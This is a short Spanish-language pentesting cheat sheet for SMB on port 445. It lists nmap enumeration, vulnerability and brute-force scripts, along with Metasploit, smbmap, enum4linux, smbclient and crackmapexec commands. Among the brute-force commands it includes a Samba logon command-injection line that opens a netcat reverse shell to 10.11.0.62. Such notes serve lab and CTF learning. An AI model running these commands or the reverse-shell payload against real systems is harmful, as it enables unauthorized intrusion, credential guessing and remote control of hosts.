> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/puertos-and-servicios/445-smb.md).

# 445 - SMB

## Nmap

{% code overflow="wrap" %}

```bash
nmap -p 135,139,445 --script smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-ls,smb-mbenum,smb-os-discovery,smb-print-text,smb-psexec,smb-protocols,smb-security-mode,smb-system-info,smb-double-pulsar-backdoor,smb-security-mode,smb-server-stats,smb-system-info,smb-vuln* IP
```

{% endcode %}

**Fuerza bruta con nmap**

```bash
nmap -sS -sU --script=smb-brute.nse -p139,445 U:137 <host> -n

nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host> -n

smb: \> logon "/=`nc 10.11.0.62 443 -e /bin/bash`"
```

## Probar

* Enumeración con metasploit

```bash
msf > use auxiliary/scanner/smb/smb_enumshares
```

* Diferentes enumeraciones

```bash
smbmap -H IP
```

```bash
enum4linux -a IP
```

```bash
nmblookup -A 192.168.1.1
```

```bash
nbtscan IP
```

* SmbClient

```bash
#listar recursos
smbclient -L //IP
smbclient -L //IP/share -U anonymous

#conectar en la ruta
smbclient //IP/share
```

* Crackmapexec

```
crackmapexec smb IP

//usando credenciales

crackmapexec smb IP -u username -p password
```

###

### Herramientas

* SMBClient
* SMBMap
* SMBpassword

## Máquinas resueltas que usan SMB

• HTB - ypuffy

• HTB - Bastion

## Referencias

* <https://blog.desdelinux.net/samba-smbclient/>
* <https://ptestmethod.readthedocs.io/en/latest/cme.html>